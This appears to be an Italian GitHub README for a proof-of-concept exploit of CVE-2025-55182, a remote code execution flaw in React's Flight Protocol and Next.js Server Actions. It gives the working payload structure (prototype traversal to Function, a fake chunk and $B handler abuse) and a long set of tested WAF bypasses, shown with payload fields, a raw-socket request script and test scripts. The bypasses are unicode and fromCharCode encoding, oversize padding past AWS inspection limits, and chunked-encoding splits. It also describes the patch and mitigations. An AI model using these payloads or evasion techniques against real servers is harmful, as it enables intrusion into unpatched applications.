
Analisi tecnica dettagliata e proof-of-concept exploit per CVE-2025-55182, una vulnerabilità RCE critica in React's Flight Protocol. Copre path traversal, fake chunk injection e tecniche di bypass WAF.
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 è una vulnerabilità RCE critica nel Flight Protocol di React. La catena d'attacco combina path traversal + fake chunk injection + $B handler abuse per eseguire Function(attacker_code).
Un grande ringraziamento a maple3142 per la catena di sfruttamento funzionante!
L'exploit utilizza tre campi del modulo per costruire un payload malevolo:
then autoriferito (campo 1 $@0 → campo 0)_response con _formData.get impostato a $1:constructor:constructor$B che chiama response._formData.get(response._prefix + id)_formData.get → Function, eseguendo Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Componenti Chiave
| Componente | Scopo |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable auto-referenziale; il chunk 1 (`$@0`) punta di nuovo al chunk 0 |
| `status: "resolved_model"` | Rende l'oggetto simile a un chunk React valido |
| `reason: -1` | Imposta rootReference a undefined (evita conflitti di riferimento) |
| `value: '{"then":"$B1337"}'` | Payload annidato che attiva il gestore `$B` |
| `_response._prefix` | Contiene la stringa di codice RCE |
| `_response._chunks: "$Q2"` | Mappa vuota per prevenire crash durante l'elaborazione dei chunk |
| `_response._formData.get` | Punta a `Function` tramite `$1:constructor:constructor` |
### Approfondimento dei Componenti
#### Struttura del Campo Modulo
L'exploit utilizza tre campi modulo con riferimenti circolari:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)Il then: "$1:__proto__:then" crea un auto-riferimento che si risolve in una funzione reale:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Perché questo è critico:**
1. `then` risolve in `Chunk.prototype.then` - una funzione invocabile reale
2. Questo rende l'oggetto falso un thenable valido
3. Quando viene atteso, JS chiama `obj.then(resolve, reject)`
4. `Chunk.prototype.then` viene eseguito con l'oggetto falso come `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) utilizza this._response - il falso _response dell'attaccante:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Senza l'autoriferimento**, il falso `_response` non verrebbe mai utilizzato. L'autoriferimento fa sì che `Chunk.prototype.then` tratti l'oggetto dell'attaccante come un vero Chunk.
#### Trigger Thenable a Due Stadi (`value`)
Il campo `value` contiene una stringa JSON nidificata con un altro thenable:```json
{"then":"$B1337"}
Stage 1: Il then auto-referenziale dell'oggetto esterno attiva l'elaborazione dei blocchi
Stage 2: Quando React risolve il modello, analizza value e incontra un altro thenable con then: "$B1337". Il prefisso $B attiva il gestore:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` è `"$1:constructor:constructor"` → `getOutlinedModel()` si risolve in `Function`.
Diventa: `Function(code + "1337")` → JS valido perché `1337` è solo un'espressione finale.
#### Padding Difensivo (`_chunks`)
Il finto `_response` necessita di una proprietà `_chunks` valida per evitare crash:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Il codice interno di React potrebbe accedere a response._chunks.get() o response._chunks.has() durante l'elaborazione. Una mappa vuota soddisfa queste chiamate senza errori, consentendo l'esecuzione di raggiungere il gestore vulnerabile $B.
decodeReply() è il punto di ingresso, non vulnerabile di per sé.
Path Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Utilizzo delle risposte fittizie** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## La correzione (19.2.1)
La patch include molteplici correzioni:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Correzione critica ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty controllo in getOutlinedModel() - Blocca l'attraversamento del prototipo ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ handling in reviveModel() - Previene l'inquinamento del prototipo ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - Convalida i listener ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| Capacità | Stato | Note |
|---|---|---|
| Attraversamento della catena dei prototipi |
Questa sezione spiega perché le tradizionali regole WAF basate su pattern matching non possono rilevare in modo affidabile questo exploit. Comprendere queste limitazioni è essenziale per i team di sicurezza che valutano la loro postura difensiva.
Il payload dell'exploit attraversa più parser, ciascuno con un supporto di codifica diverso. Un WAF che ispeziona i byte HTTP grezzi vede stringhe codificate, ma il server le decodifica prima di elaborarle:
| Livello | Parser | Decodifica |
|---|---|---|
| Struttura JSON |
Questo crea un disallineamento fondamentale: il WAF vede byte codificati, ma l'applicazione vede stringhe decodificate.
Un WAF ingenuo potrebbe cercare pattern come constructor, __proto__, resolved_model o child_process. Tuttavia, JSON consente escape unicode per qualsiasi carattere:
Il codice JavaScript all'interno del payload ha ancora più opzioni di codifica:
| Pattern |
|---|
Quando tutte le tecniche di codifica sono combinate:
\u0074\u0068\u0065\u006e per then)S(99,104,105,108,100,95,...) per child_process)Un WAF che esamina il corpo HTTP vede solo sequenze di escape e numeri - nulla che corrisponda alle firme di attacco tradizionali.
L'header Next-Action identifica le richieste Server Action. Sebbene i nomi degli header non possano essere codificati in unicode (RFC 7230 richiede token ASCII), le differenze di normalizzazione tra WAF e server creano gap di rilevamento:
L'applicazione delle patch è l'unica mitigazione affidabile. Le regole WAF non possono bloccare completamente questo attacco a causa della flessibilità della codifica.
Versioni richieste:
Se la patch è ritardata, considera:
\uXXXX, \xXX e normalizzare le chiamate fromCharCode() prima del pattern matching_response, _prefix, _chunks o riferimenti circolari ($@0)next-action in modo case-insensitive con troncamento degli spaziNext-ActionFunction() con argomenti stringa dinamiciPunto chiave: Il pattern matching da solo fallirà contro questa classe di attacco. La superficie di codifica è troppo ampia da enumerare.
Anche con regole WAF complete, AWS WAF ha limiti di dimensione per l'ispezione del corpo che possono essere sfruttati. Questa sezione documenta tecniche di bypass testate utilizzando payload sovradimensionati.
AWS WAF ispeziona solo una porzione del corpo della richiesta:
| Backend | Limite Predefinito | Massimo Configurabile |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandlingLe regole WAF specificano come gestire le richieste che superano i limiti di ispezione:
Se la tua regola WAF usa OversizeHandling: CONTINUE (default comune), il bypass è banale.
Posiziona dati di padding innocui prima del payload di exploit in modo che cada fuori dalla finestra di ispezione:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### Risultati dei test
Tutti i payload oversize hanno ottenuto con successo RCE su Next.js:
| Dimensione Padding | Corpo Totale | Offset Exploit | Risultato |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### Bypass della codifica di trasferimento chunked
La codifica di trasferimento chunked di HTTP/1.1 suddivide il corpo in blocchi discreti. Se il WAF ispeziona i blocchi **prima** del riassemblaggio, i pattern che si estendono oltre i confini dei blocchi non verranno rilevati.
#### Come funziona```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Pattern suddiviso tra i chunk:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### Strategie di Chunking Testate
| Strategia | Descrizione | Risultato |
|-----------|-------------|----------|
| Divisione a `$@` | `"$` \| `@0"` | ✅ RCE |
| Frammenti da 10 byte | Corpo diviso ogni 10 byte | ✅ RCE |
| Frammenti da 5 byte | Corpo diviso ogni 5 byte | ✅ RCE |
| Divisione a `status` | `sta` \| `tus` | ✅ RCE |
Tutte le strategie hanno ottenuto con successo RCE - Next.js riassembla correttamente le richieste chunked.
#### Esempio di Raw Socket```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
Nota: AWS WAF solitamente riassembla i corpi suddivisi in chunk prima dell'ispezione. Tuttavia, ciò dovrebbe essere verificato per ambiente poiché le configurazioni variano.
OversizeHandling in MATCH ```json
"OversizeHandling": "MATCH"
Questo blocca qualsiasi richiesta che eccede il limite di ispezione quando le condizioni della regola sono soddisfatte.
Aumenta il limite di ispezione del corpo (solo CloudFront/API Gateway) Configura fino a 64KB nelle impostazioni della web ACL, ma questo non previene completamente l'elusione.
Aggiungi una regola di blocco basata sulla dimensione
Blocca le richieste POST con header Next-Action che superano una dimensione ragionevole (es. 10KB).
Applica una patch all'applicazione - L'unica soluzione completa.
Vedi gli script di test inclusi:
test-simple.cjs - Test di base del payload non suddiviso in blocchitest-oversize.cjs - Testa dimensioni di padding da 0 a 128KBtest-chunked-v2.cjs - Codifica di trasferimento chunked con divisione $@test-chunked-bypass.cjs - Strategie di chunking multiple (split da 5 byte, 10 byte, per pattern)Utilizzo:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
## Percorso di Ricerca
### La Vulnerabilità: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
Con payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Mentre abbiamo ottenuto Function, per ottenere RCE è necessario chiamarlo con argomenti controllati. Questi percorsi hanno fallito:
1. Percorso Thenable (Bloccato)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction Path (Bloccato)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. Percorso iteratore (Bloccato)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### La svolta
maple3142 ha trovato il pezzo mancante: il gestore `$B` + la catena fake `_response`. Facendo in modo che `then` risolva a `Chunk.prototype.then` tramite auto-riferimento, la `_response` fake viene utilizzata, abilitando RCE.
---
## Risultati chiave
1. **La vulnerabilità `getOutlinedModel()` è reale** - I percorsi separati da due punti consentono l'attraversamento della catena dei prototipi
2. **Il costruttore Function è accessibile** - `$1:constructor:constructor` funziona senza serverManifest
3. **RCE è raggiungibile** - Creando un chunk fake con `_response` controllata:
- Auto-riferimento `$1:__proto__:then` → `Chunk.prototype.then` fa sì che la `_response` fake venga utilizzata
- La struttura del chunk fake imita la classe Chunk interna di React
- `_response._formData.get` → costruttore `Function`
- `_response._prefix` → stringa di codice malevolo
- Il gestore `$B` attiva `Function(codice_malevolo)`
4. **La correzione è completa** - Molteplici controlli `hasOwnProperty` e validazioni di tipo
---
## Riferimenti
- [Gist di maple3142](https://gist.github.com/maple3142) - Scoperta della catena RCE
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF Rule](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Disclaimer
Questo repository è solo per **ricerca di sicurezza educativa e difensiva**. La vulnerabilità è stata corretta. Aggiorna immediatamente le tue dipendenze.
| Percorso | Funzione | Scopo nello sfruttamento |
|---|
| Path Traversal | getOutlinedModel() | Risolve $1:constructor:constructor → Function |
Fake _response Injection | initializeModelChunk() | Utilizza il chunk._response dell'attaccante |
Gestore $B | parseModelString() | Chiama _formData.get(_prefix + id) → RCE |
| ✓ Confermato |
Via $1:constructor:constructor |
| Accesso al costruttore di Function | ✓ Confermato | Nessun manifest necessario |
| Piena RCE | ✓ Confermato | Via fake chunk + $B handler |
JSON.parse() |
Escape unicode \uXXXX |
| Codice JavaScript | Costruttore Function() | \uXXXX, \xXX, ottale, fromCharCode() |
| Pattern Letterale | Equivalente Unicode | Rilevamento WAF |
|---|
constructor | \u0063onstructor | Eluso |
__proto__ | \u005f\u005fproto\u005f\u005f | Eluso |
resolved_model | \u0072esolved_model | Eluso |
$@ (ref circolare) | $\u0040 | Eluso |
| Opzioni di Codifica |
|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, codici numerici dei caratteri, base64 |
| Qualsiasi identificatore | Notazione con parentesi: this[S(112,114,...)] dove S=String.fromCharCode |
| Variante | Comportamento Server | Rischio WAF |
|---|
next-action (minuscolo) | Accettato (HTTP non fa distinzione tra maiuscole e minuscole) | Perso se il WAF si aspetta il caso esatto |
Next-Action:\tx (tabulazione) | Accettato (spazi normalizzati) | Perso se il WAF si aspetta uno spazio |
Next-Action: x (spazi) | Accettato | Perso senza normalizzazione |
| Impostazione | Comportamento | Sfruttabile? |
|---|
CONTINUE | Ispeziona i byte disponibili, valuta la regola | Sì - il payload oltre il limite non viene ispezionato |
MATCH | Considera come corrispondente (blocca) | No - blocca le richieste sovradimensionate |
NO_MATCH | Considera come non corrispondente | Sì - passa attraverso |
| Tipo WAF | Gestione dei chunk | Bypass possibile? |
|---|
| AWS WAF (ALB) | Riassembla prima dell'ispezione | Improbabile |
| AWS WAF (CloudFront) | Riassembla prima dell'ispezione | Improbabile |
| Alcuni WAF legacy | Ispeziona per chunk | Sì |
| Nginx ModSecurity | Configurabile | Dipende dalla configurazione |